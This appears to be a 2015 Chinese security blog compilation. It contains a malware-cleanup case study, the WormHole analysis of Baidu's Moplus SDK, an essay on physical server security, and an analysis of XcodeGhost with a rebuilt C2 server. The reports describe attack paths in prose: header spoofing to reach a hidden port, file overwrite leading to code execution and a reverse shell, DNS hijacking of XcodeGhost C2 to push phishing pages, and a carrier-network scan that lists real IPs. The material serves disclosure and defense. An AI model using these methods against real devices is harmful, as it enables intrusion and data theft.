那么如何快速判断自己的web服务器是否存在恶意代码,是否由于web端的问题导致的内网渗透,或被植入恶意代码作为跳板机、肉鸡等;如何通过手工或者工具的方式快速清除恶意代码,加固系统加固,预防下一次入侵带来的问题。 [绿盟科技](http://blog.nsfocus.net/ "绿盟科技博客")博客邀请安全服务团队的安全工程师从一个实战案例入手,来讲解如何手工清除恶意代码。现在已知有一台服务器表现不太正常,需要我们来排查这个服务器存在什么问题。 **查看系统日志** 前提是该服务器的日志策略,审核策略已经开启。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e29bc1d079_8aef0dd3jw1expvzuls4mj20g609y0uj.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/653d832ca3_8aef0dd3jw1expvzv20l7j20dm083wft.jpg) 经过查询日志可以发现,攻击者从TerminalService端即远程桌面进行了多次登录尝试,并出现大量相同状态日志,即在进行远程暴力猜测。由于登录失败次数限制,延缓了攻击者猜测出真实口令的时间。 **恶意程序如何执行** 通过查看系统计划任务可以发现,攻击者使用较为老套的计划任务方式执行木马程序。 查看计划任务属性,便可以发现木马文件的路径。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/653d832ca3_8aef0dd3jw1expvzvlghbj20ck099my6.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7161ac9050_8aef0dd3jw1expvzwu6z8j20cv09qjtq.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/26d5a3abe8_8aef0dd3jw1expvzxa9m8j20b905qwf1.jpg) 木马文件和svchost.exe文件名较像,具有一定的迷惑性,属于常规隐藏方式。经过查询可知,svchsot.exe是Troj/GWGhost-O木马相关程序,即该木马的主要组件。 **继续追查痕迹** 另外,慢慢遵循着入侵者的脚步,可见攻击者动过的手脚不止这一处。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/26d5a3abe8_8aef0dd3jw1expvzxl6vpj20fe077dho.jpg) 在prefetch文件夹下,prefetch目录下为系统启动的预读取文件,可以看见xiaoma,和抓肉鸡工具,查看创建时间发现早在几天前甚至更早就已经拿下该服务器为肉鸡,只是尚未发现。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/26d5a3abe8_8aef0dd3jw1expw00tq6kj20fe03ct8x.jpg) 另外发现,存在一些.pf文件,显然攻击者希望在系统运行的时候就成为肉鸡,根据系统启动预读取文件.pf的文件名反向搜索,诱敌深入。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f2a8e82cc2_8aef0dd3jw1expw01bm0ij20fe07v75k.jpg) 可以发现在system目录下,存在.pf文件的链接指向文件,显然也是通过这个方式来开机加载的,使得服务器开机即上线沦为工具,真是放长线钓大鱼啊。 **旁敲侧击** 查看进程,可以从运行进程上来发现系统内存在的问题; ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f2a8e82cc2_8aef0dd3jw1expw026ferj209d09r407.jpg) 综上案例,在寻找恶意代码的过程中,根据各种方式查看系统信息是宗旨,根据收集到的信息判断恶意代码的存在位置和触发方式,进而删除恶意代码执行文件,并且侦查恶意代码的附属产品是否有影响系统启动项、系统文件等;将和恶意代码相关的执行文件、服务、链接等一并删除,如果可以的话,最为稳妥的重装操作系统当然是极好的。 对于我们来排查服务器系统存在的问题,我们要从进程、服务、启动项、网络连接、钩子等方面进行检查,并根据安全事件发生的时间节点,在查看系统信息时重点关注该时间节点的前后的日志事件和系统信息变化,如果可以的话可以以时间点为线索进行关联分析,从而摸清楚入侵者的思路和操作步骤。这里也推荐一些常用的小工具,可以帮助我们更好的来获取不同类别的系统信息,从而抓住系统痕迹,找到问题。 **痕迹一:进程** 推荐小工具:Process explore ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f2a8e82cc2_8aef0dd3jw1expw02p4whj20b0088gnj.jpg) 查看可疑的进程及其子进程。可以通过观察以下内容: * 没有签名验证信息的进程 * 没有描述信息的进程 * 进程的属主 * 进程的路径是否合法 * CPU或内存资源占用长时间过高的进程 **痕迹二:文件** 推荐方式:根据日期排序,检查系统敏感目录文件的改动。 **痕迹三:启动项** 推荐小工具:Autoruns ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b61e12fce4_8aef0dd3jw1expw03e6waj20cd09nwgk.jpg) 这个小工具能够查看到系统的启动项,并且能够对大部分启动项做出说明,同时显示调用注册表路径,同时还能对一些常见的木马运行方式,BHO项、计划任务、镜像劫持等作出检查和侦测。一般判断的标准是,是否该项有注释说明,是否是可疑的常见组件,是否不是管理员添加的项等。 **痕迹四:综合分析** 推荐小工具:Icesword ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b61e12fce4_8aef0dd3jw1expw03ohhcj20dz074wfr.jpg) Icesword功能比较强大,可以对隐藏进程进行检测,并以红色标出,方便我们查找;同时还可以对端口,服务,注册表,文件,线程等进行侦测观察,对没有描述或者奇怪的可疑选项名称进行逐一手工检测。 **THE END** 进行恶意代码侦查的过程是一个很有趣的过程,逆着入侵者的思路来,就像还原犯罪现场,时光倒流,加上推理和分析,不放过一丝一毫的线索;相信喜欢侦探小说的你,一定会喜欢上恶意代码侦查探索的过程的。 [恶意代码清除实战](http://blog.jobbole.com/94047/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 比葫芦娃还可怕的百度全系APP SDK漏洞 – WormHole虫洞漏洞分析报告 Date: 2015-11-02 URL: https://blog.wo.ai/archives/1044 Categories: Uncategorized 「You can’t have a back door in the software because you can’t have a back door that’s only for the good guys.」 – Apple CEO Tim Cook 「你不应该给软件装后门,因为你不能保证这个后门只有好人能够使用。」—— 苹果 CEO 库克 **0×00 序** 最早接触网络安全的人一定还记得当年RPC冲击波,WebDav等远程攻击漏洞和由此产生的蠕虫病毒。黑客只要编写程序扫描网络中开放了特定端口的机器,随后发送对应的远程攻击代码就可以控制对方主机,在控制对方主机后,程序可以继续扫描其他机器再次进行攻击。因为漏洞出在主机本身,想要修复漏洞必须安装补丁才行,但因为很多人并不会及时升级系统或者安装补丁,所以漏洞或者蠕虫会影响大量的机器非常长的时间,甚至有的蠕虫病毒可以感染全世界上亿的服务器,对企业和用户造成非常严重的损失。 Android发布后,我们就一直幻想着能发现一个像PC上的远程攻击一样厉害的漏洞,但是Android系统默认并没有开放任何端口,开放socket端口的APP也非常稀少,似乎出现像PC那样严重的漏洞是不太可能的。但可惜的是,世界上并没有绝对的安全,就在这么几个稀少的端口中,我们真的找了一个非常严重的socket远程攻击漏洞,并且影响多个用户量过亿的APP,我们把这个漏洞称之为WormHole虫洞漏洞。 **0×01 影响和危害** WormHole虫洞漏洞到底有多严重呢?请看一下我们统计的受影响的APP列表(还没有统计全): 百度地图 检测版本8.7 百度手机助手 检测版本6.6.0 百度浏览器 检测版本6.1.13.0 手机百度 检测版本6.9 hao123 检测版本6.1 百度音乐 检测版本5.6.5.0 百度贴吧 检测版本6.9.2 百度云 检测版本7.8 百度视频 检测版本7.18.1 安卓市场 检测版本6.0.86 百度新闻 检测版本5.4.0.0 爱奇艺 检测版本6.0 乐视视频 检测版本5.9 …完整列表见附录 这个列表是2015年10月14号统计的百度系APP的最新版,理论上所有小于等于检测版本的这些百度系的APP都有被远程攻击的危险。根据易观智库的统计排行: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3170b60a49_8aef0dd3jw1exmvf06yy1j20h30eq776.jpg) 可以看到手机百度、百度手机助手、百度地图等百度系APP有着上亿的下载安装量和加起来超过三亿的活跃用户。 安装了百度的这些APP会有什么后果和危害呢? 1. 无论是 wifi 无线网络或者3G/4G 蜂窝网络,只要是手机在联网状态都有可能受到攻击。攻击者事先无需接触手机,无需使用DNS欺骗。 2. 此漏洞只与app有关,不受系统版本影响,在google最新的android 6.0上均测试成功。 3. 漏洞可以达到如下攻击效果: * 远程静默安装应用 * 远程启动任意应用 * 远程打开任意网页 * 远程静默添加联系人 * 远程获取用用户的GPS地理位置信息/获取imei信息/安装应用信息 * 远程发送任意intent广播 * 远程读取写入文件等。 下面是视频DEMO: 俺们做的视频效果太差,下面demo视频是从网上看到的: **0×02 漏洞分析** 安装百度系app后,通过adb shell连接手机,随后使用netstat会发现手机打开了40310/6259端口,并且任何IP都可以进行连接。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/379646b1c7_8aef0dd3jw1exmvf0qupxj20u00cyn3y.jpg) 原来这个端口是由java层的nano http实现的,并且这个http服务,百度给起名叫immortal service(不朽/不死的服务)。为什么叫不朽的呢?因为这个服务会在后台一直运行,并且如果你手机中装了多个有wormhole漏洞的app,这些app会时刻检查40310/6259端口,如果那个监听40310/6259端口的app被卸载了,另一个app会立马启动服务重新监听40310/6259端口。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a57fbbac8d_8aef0dd3jw1exmvf19rwij20hs0budgq.jpg) 我们继续分析,整个immortal service服务其实是一个http服务,但是在接受数据的函数里有一些验证,比如 http 头部remote-addr字段是否是”127.0.0.1”,但是会一点web技巧的人就知道,只要伪造一下头部信息就可把remote-addr字段变成”127.0.0.1”。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/91440a5ba4_8aef0dd3jw1exmvf1n6hjj20iq04w3zv.jpg) 成功的和http server进行通讯后,就可以通过url给APP下达指令了。拿百度地图为例,以下是百度地图APP中存在的远程控制的指令的反汇编代码: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/91440a5ba4_8aef0dd3jw1exmvf23edjj20py0f5n34.jpg) 1. **geolocation 获取用户手机的GPS地理位置(城市,经度,纬度)** 2. getsearchboxinfo 获取手机百度的版本信息 3. getapn 获取当前的网络状况(WIFI/3G/4G运营商) 4. getserviceinfo 获取提供 nano http 的应用信息 5. getpackageinfo 获取手机应用的版本信息 6. **sendintent 发送任意intent 可以用来打开网页或者与其他app交互** 7. **getcuid 获取imei** 8. getlocstring 获取本地字符串信息 9. scandownloadfile 扫描下载文件(UCDownloads/QQDownloads/360Download…) 10. **addcontactinfo 给手机增加联系人** 11. **getapplist获取全部安装app信息** 12. **downloadfile 下载任意文件到指定路径如果文件是apk则进行安装** 13. **uploadfile 上传任意文件到指定路径 如果文件是apk则进行安装** 当我们看到这些远程指令的时候吓了一跳。你说你一个百度地图好好的导航行不行?为什么要去给别人添加联系人呢?添加联系人也就算了,为什么要去别的服务器下载应用并且安装呢?更夸张的是,安装还不是弹出对话框让用户选择是否安装,而是直接申请root权限进行静默安装。下图是代码段: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/91440a5ba4_8aef0dd3jw1exmvf2vlggj210m0haqbr.jpg) 可以看到下载完app后会有三个判断: 1. 手机助手为系统应用直接使用android.permission.INSTALL_PACKAGES权限静默安装应用 2. 手机助手获得 root 权限后使用 su 后执行 pm install 静默安装应用 3. 非以上二种情况则弹出引用安装的确认框 一般用户是非常相信百度系APP,如果百度系APP申请了root权限的话一般都会通过,但殊不知自己已经打开了潘多拉的魔盒。 如果手机没root就没法静默安装应用了吗?不是的,downloadfile和uploadfile可以选择下载文件的位置,并且百度系app会从”/data/data/[app]/”目录下动态加载一些dex或so文件,这时我们只需要利用downloadfile或uploadfile指令覆盖原本的dex或so文件就可以执行我们想要执行的任意代码了。比如说,利用dex或者so获取一个反弹shell,然后把提权的exp传到手机上执行获得root权限,接下来就可以干所有想干的任何事情了。 **0×03 POC** 因为影响过大,暂不公布,会在WormHole漏洞修复完后更新。 **0×04 测试** 简单测试了一下WormHole这个漏洞的影响性,我们知道3G/4G下的手机其实全部处于一个巨大无比的局域网中,只要通过4G手机开个热点,就可以用电脑连接热点然后用扫描器和攻击脚本对全国甚至全世界连接了3G/4G的手机进行攻击。在家远程入侵一亿台手机不再是梦。 我们使用获取包名的脚本,对电信的下一个 C 段进行了扫描,结果如下: Discovered open port 6259/tcp on 10.142.3.25 "com.baidu.searchbox","version":"19" Discovered open port 6259/tcp on 10.142.3.93 "packagename":"com.baidu.appsearch" Discovered open port 6259/tcp on 10.142.3.135 "com.hiapk.marketpho","version":"121" Discovered open port 6259/tcp on 10.142.3.163 "packagename":"com.hiapk.marketpho" Discovered open port 6259/tcp on 10.142.3.117 "com.baidu.browser.apps","version":"121" Discovered open port 6259/tcp on 10.142.3.43 "com.qiyi.video","version":"20" Discovered open port 6259/tcp on 10.142.3.148 "com.baidu.appsearch","version":"121" Discovered open port 6259/tcp on 10.142.3.196 "com.baidu.input","version":"16" Discovered open port 6259/tcp on 10.142.3.204 "com.baidu.BaiduMap","version":"20" Discovered open port 6259/tcp on 10.142.3.145 "com.baidu.appsearch","version":"121" Discovered open port 6259/tcp on 10.142.3.188 "com.hiapk.marketpho","version":"21" Discovered open port 40310/tcp on 10.142.3.53 "com.baidu.BaiduMap","version":"122" Discovered open port 40310/tcp on 10.142.3.162 "com.ting.mp3.android","version":"122" Discovered open port 40310/tcp on 10.142.3.139 "com.baidu.searchbox","version":"122" Discovered open port 40310/tcp on 10.142.3.143 "com.baidu.BaiduMap","version":"122" Discovered open port 40310/tcp on 10.142.3.176 "packagename":"com.baidu.searchbox" 255个IP就有16手机有WormHole漏洞。 除此之外,我们发现华为,三星,联想,金立等公司的某些机型在中国出厂的时候都会预装百度系app,突然间感到整个人都不好了。。。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d1e6f32277_8aef0dd3jw1exmvf3fw95j204k05iwef.jpg) **0×05 总结** 我们已经在2015年10月14日的时候将WormHole的漏洞报告通过乌云提交给了百度,并且百度已经确认了漏洞并且开始进行修复了。但这次漏洞并不能靠服务器端进行修复,必须采用升级app的方法进行修复,希望用户得到预警后尽快升级自己的应用到最新版,以免被WormHole漏洞攻击。 **0×06 受影响的app列表** 足球直播 足球巨星 足彩网 卓易彩票 助手贴吧 中国足彩网 中国蓝TV 中国蓝HD 珍品网 掌上百度 悦动圈跑步 优米课堂 音悦台 移动91桌面 央视影音 修车易 小红书海外购物神器 侠侣周边游 物色 万达电影 贴吧看片 贴吧饭团 视频直播 生活小工具 上网导航 全民探索 穷游 汽车之家 拇指医生(医生版) 萌萌聊天 美西时尚 么么哒 蚂蚁短租 旅游攻略 乐视视频 酷音铃声 口袋理财 经理人分享 购车族 歌勇赛 凤凰视频 风云直播Pro 多米音乐 都市激情飙车 懂球帝 蛋蛋理财 穿越古代 彩票到家 彩票365 爆猛料 百姓网 百度桌面Plus 百度云 百度游戏大全 百度音乐2014 百度新闻 百度团购 百度图片 百度贴吧青春版 百度贴吧简版 百度贴吧HD 百度输入法 百度手机助手 百度手机游戏 百度视频HD 百度视频 百度浏览器 百度翻译 百度地图DuWear版 百度地图 百度HD 百度 安卓市场 爱奇艺视频 VidNow Video Now T2F话友 Selfie Wonder PPS影音 PhotoWonder hao123特价 CCTV手机电视 91桌面 91助手 91爱桌面 91 Launcher 365彩票 **PS:** 1.文章是提前编辑好打算漏洞公开后再发布,趋势已经发文所以跟进. http://blog.trendmicro.com/trendlabs-security-intelligence/setting-the-record-straight-on-moplus-sdk-and-the-wormhole-vulnerability/ 2.网上公布的一些 app 列表大多是根据百度 moplus SDK 的特征指令静态扫描得来这样会有一定误报导致无辜 app 躺枪,比如漫画岛app 虽然集成了此 SDK 但是因为代码混淆策略,指令实现类名被混淆后 findClass 无法找到,所以 exp 都会提示404. 3.关联漏洞 [WooYun: 百度输入法安卓版存在远程获取信息控制用户行为漏洞(可恶意推入内容等4G网络内可找到目标)](http://www.wooyun.org/bugs/wooyun-2015-0145365) [WooYun: WormHole虫洞漏洞总结报告(附检测结果与测试脚本)](http://www.wooyun.org/bugs/wooyun-2015-0148406) [比葫芦娃还可怕的百度全系APP SDK漏洞 – WormHole虫洞漏洞分析报告](http://blog.jobbole.com/93923/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 谈谈物理服务器的安全 Date: 2015-10-18 URL: https://blog.wo.ai/archives/1042 Categories: Uncategorized 随着虚拟技术与云计算的火热,越来越多的人将注意力放在了虚拟机与虚拟网络的安全上面。当然确实也是目前一个趋势与发展方向,但虚拟化的安全与物理设备的安全就如同一个天平的两端,过于重视一端就可能遗漏了另一端的问题。今天我想聊聊物理服务器层面的安全问题。 **为什么大家容易忽视物理服务器的安全问题?** 我认为有以下几个可能的原因: * 服务器设备通常放置于相对安全的机房当中,通常在企业防火墙后面 * 能接触到设备的人员比较有限 * 对于物理设备上发现的问题通常用户无法解决,或是无法通过安装防御软件来解决 * 不容易被攻击,毕竟这个时代能攻击到物理设备的方式远没攻击虚拟设备的多 所以用户不关心,运维人员也不关心,厂家也省事。但这样真的没问题了吗?显然不是。俗话说“外贼易防,家贼难防”,假设某个运维人员偷偷的植入了一段BIOS启动代码,可以说市面上所有的安全软件都是无法检测出来的。这也是为什么要有Secure Boot技术,一种在系统的启动阶段进行保护,使得操作系统运行在一个可信的物理环境上的技术。这里只举一个例子来说明物理设备的安全问题,尽管没那么明显但是一般都是非常严重并且难以处理的问题。 **物理服务器安全的方方面面** 大家都知道服务器有一部分部件与PC相似,如CPU,内存,磁盘,网卡,显卡,风扇等,但还有一部分是特有的,如传感器,PSU,RAID卡,固件芯片等。另外服务器也有一些内嵌的软件模块,如BIOS,BMC以及厂家自己研发的嵌入式软件。所有的这些都可能存在漏洞问题,如内存的Row Hammer漏洞,CPU的S3读取PCH模块脚本未被保护问题等。还有一部分涉及到的是嵌入式软件的问题,通常服务器是需要以24×7的强度来运行的,这对服务器的稳定性提出了很高的要求。因此服务器内有大量的传感器来监视服务器的健康状态,如温度传感器,风扇传感器,PSU传感器等,所以厂家通常会开发一些嵌入式软件来监控这类的设备,这里最出名的莫过于板载控制器(BMC)了,基本上主流两路以上的服务器都会具有BMC。此外还有其他外围的设备如显卡,RAID卡,网卡等板卡设备。在进行更细致的分析前,请大家看一下与服务器安全相关的全景图: [![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/187cde0861_aa213e02jw1ex5oi2ez32j20ph0l3abz.jpg)](http://moonzwu.github.io/img/Server-Security.jpeg "谈谈物理服务器的安全") **物理服务器安全之硬件部分** 对于硬件层面的安全问题主要集中在可信计算方面,建立一个安全可信的运行环境是可信计算的主要目的。TPM安全芯片是目前业界的主流解决方案,也是很多上层安全技术的基础。它解决以下几个问题: * 存储,管理秘钥,如BIOS密码,硬盘加密密码等 * 生成秘钥,使用不同的加密算法来创建 * 磁盘加密,为上层提供磁盘加密功能,如Windows的Bitlocker * 以及其他加解密相关的支持,如生成随机数 TPM本质上是一个安全的协处理器。服务器上CPU众多,为什么还需要一个这样的协处理器呢?加解密工作是一个非常耗CPU的任务,如果你的程序里有进行加解密运算,你一定要警惕它的性能问题。记得早前的一个做信用卡卡号处理的项目,当数据量少时一切正常,一旦数据量大到一定程度,CPU就是100%。当时我们分析了各种原因,有人说是内存太小导致频繁磁盘交换,有人说线程太多,任务切换过于频繁等。最后拿性能剖析工具一查,才知道是加解密模块吃掉了所有CPU计算资源。因此对于服务器来说,尽管CPU很多但是还是需要一个专业干加解密的硬件设备。 说到TPM就不得不提TCG(可信计算组),这是一个由主流设备生产厂商发起的组织,主要的目的是解决当时业界已经面临的个人计算平台安全问题。具体的历史可以查看维基百科,但也不是所有人都认同可信计算的,主要的争论点是采用可信计算方案相当于个人的信息对这些厂家来说是公开的,也就是一个对厂家公开的后门。所以在国内,政府的要求是采用TCM而不是TPM,TCM与TPM功能类似,唯一不同是加密算法是采用国内研究机构开发的。安全嘛,只有自己人才可信:)。 **物理服务器安全之嵌入式软件部分** 说起来软件程序面临的安全问题基本都很类似,不管是嵌入式软件,应用软件,web系统,你所面临的安全问题大多有以下几种: * 加解密算法是否足够安全 * 网络连接是否安全 * 数字签名与证书相关的安全 * 存储是否安全 * 程序越界问题 * 注入攻击问题 * 代码漏洞问题 * 权限控制问题 BIOS作为现代计算机的基础软件,几十年来地位就没变过。但与它相关的技术倒是发生了一些变化,从早期的汇编,C,EFI到现在的UEFI,从功能角度来说丰富了不少。嵌入式软件终于也可以画出一些相对漂亮的界面来给用户了。也正是由于它比较基础对于它的保护是必不可少的,了解病毒历史的读者可能还记得90年代的CIH病毒,这个病毒影响意义深远。而Secure boot技术的目的就是让BIOS在引导系统启动的时候具备足够安全性。看一下Secure Boot的过程: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e550c5a514_aa213e02jw1ex5oi3hz83j20fy0adwf4.jpg) 由于BIOS程序对外没有网络访问的能力,所以安全问题相对来说简单一些,主要是UEFI的漏洞问题。 而BMC就不一样了,这个功能强大的家伙问题也是最多的。可以这么说物理服务器涉及到的安全问题有一大半是出在BMC身上。你可能会问都有哪些问题?我只能说几乎上面提到的所有问题,因为它就是一个用于处理硬件问题的web应用。BMC有哪些功能,看看这张截图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9116008be5_aa213e02jw1ex5oi4udbqj212j0jbwku.jpg) 它使用一个微型的嵌入式Linux内核,并通常带有一个web栈。BMC对外支持多种协议,如HTTP,IPMI,SNMP,CIM等等。而这里面用的最多的,并且安全性最差的就是IPMI协议了。IPMI协议是一个事实上的服务器管理标准协议,几乎所有的服务器都会支持它(当然有的服务器如果没有BMC,通常也会有AMT技术做替代)。而被广为诟病的是IPMI协议中RAKP使用的SHA1进行秘钥哈希运算问题,这是一个已知的并且广泛存在的问题。我们只能通过禁用IPMI的远程访问来绕过它,但是如果没有远程的能力,对于具有成千上万台服务器的数据中心来说,单单是关机/重启这样简单的操作就是一个恶梦。因此各大厂商采用HTTP协议来替代IPMI的远程访问(有些厂商采用CIM接口,但是CIM的兼容性是很大的问题)。那么引入HTTP就引入了所有HTTP可能遇到的安全问题,如中间人攻击,证书伪造,跨站攻击,脚本注入,DDOS等,安全问题也变得日益严峻。为了解决这些问题,引入HTTPS是最好的方案。在大多数情况下,HTTPS可以避免中间人与证书伪造等问题。说到这里又不得不提OpenSSL,作为业内著名的开源安全库已经有很长的历史了。它是实现SSL的主要模块,也可以说HTTPS实现的基础。但是在最近的一年里OpenSSL接连报出几个大的漏洞问题,如Heart Bleeding,Freak Attack等,给广大厂商和用户带来了很多麻烦。虽然OpenSSL的补丁不断,但是官方已经声明在2015年年底停止对0.9.8分支的支持,2016年底停止对1.0.0和1.0.1分支的支持。这是好事也是坏事,好事是我们不需要再为旧版本漏洞担忧了,而坏事是你不得不为升级库比进行大量测试。 BIOS与BMC是服务器上嵌入式软件的两个主要部分,当然还有其他的如厂商自行研发的部署软件等,还有驱动的问题等不一而足。另外遇到的挑战是通常更新这些补丁需要重启服务器,而对于需要持续运行的服务器来说重启是比较困难的。因此现实的情况是很多服务器都是带着大量的安全漏洞在跑的,幸运的是服务器管理网络与业务网络是物理隔离的,被外部攻击的可能性比较低。 **物理服务器安全之其他内容** 从概览图里可以看出来,与服务器安全相关的内容有很多。如标准,美国有美国的标准,中国有中国的标准。通常来说美国的标准比中国的全面而且严格一些,如美国标准对固件更新就有明确的安全规定。所以大家在采购服务器的时候可以询问一下所符合的标准。另外还有测试方法与工具,测试原则,漏洞管理等。目前来说对于物理服务器安全问题的解决,还是以厂家提供的补丁为主,建议用户对严重的问题进行及时的更新,并密切关注各个厂家的安全响应页面(可以搜索PSIRT关键字来了解)。 最后,个人觉得安全问题归根到底还是人的意识问题。单有工具没有安全意识也是白扯,就像一个全副武装战士,掉进敌人挖的坑里也是没救的。所以提高安全防范意识是人们的首要任务。 * 如果是开发团队,引入安全验证过程,采用漏洞扫描工具Nessus,AppScan进行安全检测。 * 如果是运维团队,关注业界安全漏洞网站,采用工具进行定期的扫描,增加审计过程 * 如果是个人用户,除了安装杀毒软件外,就是不要登陆不了解的网站。下载程序时注意网站提供的哈希码,这是防止程序被篡改的关键。 * [谈谈物理服务器的安全](http://blog.jobbole.com/93134/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 你以为服务器关了这事就结束了? – XcodeGhost截胡攻击和服务端的复现,以及UnityGhost预警 Date: 2015-09-22 URL: https://blog.wo.ai/archives/1041 Categories: Uncategorized # 0×00 序 * * * 截胡,麻将术语,指的是某一位玩家打出一张牌后,此时如果多人要胡这张牌,那么按照逆时针顺序只有最近的人算胡,其他的不能算胡。现也引申意为断别人财路,在别人快成功的时候抢走了别人的胜利果实。 虽然XcodeGhost作者的服务器关闭了,但是受感染的app的行为还在,这些app依然孜孜不倦的向服务器(比如init.icloud-analysis.com,init.icloud-diagnostics.com等)发送着请求。这时候黑客只要使用DNS劫持或者污染技术,声称自己的服务器就是”init.icloud-analysis.com”,就可以成功的控制这些受感染的app。具体能干什么能,请看我们的详细分析。 另外,有证据表明unity 4.6.4 – unity 5.1.1的开发工具也受到了污染,并且行为与XcodeGhost一致,更恐怖的是,还有证据证明XcodeGhost作者依然逍遥法外,具体内容请查看第三节。 PS:虽然涅槃团队已经发出过攻击的demo了[2](http://static.wooyun.org//drops/20150921/2015092119174834335.png),但很多细节并没有公布。所以我们打算在这篇文章中给出更加详细的分析过程供大家参考。 # 0×01通信协议分析 * * * 在受感染的客户端App代码中,有个Response方法用于接收和处理远程服务器指令。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4057c6865f_6941baebjw1ewaz5kxe4bj21kw07jdk1.jpg) Response方法中根据服务器下发的不同数据,解析成不同的命令执行,根据我们分析,此样本大致支持4种远程命令,分别是:设置sleep时长、窗口消息、url scheme、appStore窗口。 通过4种远程命令的单独或组合使用可以产生多种攻击方式:比如下载安装企业证书的App;弹AppStore的应用进行应用推广;弹钓鱼页面进一步窃取用户信息;如果用户手机中存在某url scheme漏洞,还可以进行url scheme攻击等。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/153af92ce6_6941baebjw1ewaz5kiiuij21kw1hpdua.jpg) 其通信协议是基于http协议的,在传输前用DES算法加密http body。Response方法拿到服务器下发送的数据后,调用Decrypt方法进行解密: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1cc1fefbd8_6941baebjw1ewaz5jv3s2j21kw0uwk0z.jpg) 如果解密成功,将解密后的数据转换成JSON格式数据: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/017335586f_6941baebjw1ewaz5j2mmvj21dk0uwtm5.jpg) 然后判断服务器端下发的数据,执行不同的操作。如下面截图是设置客户端请求服务端器sleep时长的操作: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3a15a32807_6941baebjw1ewaz5i83ewj21881ac7iz.jpg) # 0×2恶意行为分析及还原 * * * 在逆向了该样本的远程控制代码后,我们还原了其服务端代码,进一步分析其潜在的危害。 首先我们在服务端可以打印出Request的数据,如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3a15a32807_6941baebjw1ewaz5h77a0j2178049n2a.jpg) 红色框标记的协议的头部部分,前4字节为报文长度,第二个2字节为命令长度,最后一个2字节为版本信息,紧跟着头部的为DES的加密数据。我们在服务端将数据解密后显示为: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3a15a32807_6941baebjw1ewaz5gspnsj20dr07egmy.jpg) 这里有收集客户端信息上传到控制服务器。 同样我们返回加密数据给客户端: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a955b53c76_6941baebjw1ewazfo3ipnj21kw03cq4e.jpg) 明文信息为: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/631bdeb5bf_6941baebjw1ewaz5g89l2j20os02sjs1.jpg) 客户端根据App的运行状态向服务端提供用户信息,然后控制服务器根据不同的状态返回控制数据: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/631bdeb5bf_6941baebjw1ewaz5fqfrwj20yw0dodle.jpg) ## 恶意行为一 定向在客户端弹(诈骗)消息 该样本先判断服务端下发的数据,如果同时在在“alertHeader”、“alertBody”、“appID”、“cancelTitle”、“confirmTitle”、“scheme”字段,则调用UIAlertView在客户端弹框显示消息窗口: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/631bdeb5bf_6941baebjw1ewaz5f6n8vj21kw0w814j.jpg) 消息的标题、内容由服务端控制 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6a79679908_6941baebjw1ewaz5enfw1j21kw0aaad3.jpg) 客户端启动受感染的App后,弹出如下页面: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6a79679908_6941baebjw1ewaz5eaxguj20ci0m7wgl.jpg) ## 恶意行为二 下载企业证书签名的App 当服务端下发的数据同时包含“configUrl”、“scheme”字段时,客户端调用Show()方法,Show()方法中调用UIApplication.openURL()方法访问configUrl: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/418a1db1ae_6941baebjw1ewaz5dtri3j21kw0vb7d5.jpg) 通过在服务端配置configUrl,达到下载安装企业证书App的目的: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/418a1db1ae_6941baebjw1ewaz5ddqdej21kw076wgo.jpg) 客户端启动受感染的App后,目标App将被安装: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fb3a557ebb_6941baebjw1ewaz5cygamj20hs0vkn3b.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fb3a557ebb_6941baebjw1ewaz5cc1k6j20hs0vk10p.jpg) demo地址:http://v.youku.com/v_show/id_XMTM0MTQyMzM1Ng==.html ## 恶意行为三 推送钓鱼页面 通过在服务端配置configUrl,达到推送钓鱼页面的目的: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b4b77e4d7e_6941baebjw1ewaz5b7scjj21i408cq5t.jpg) 客户端启动受感染的App后,钓鱼页面被显示: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b4b77e4d7e_6941baebjw1ewaz5av1dmj20hs0vktbe.jpg) 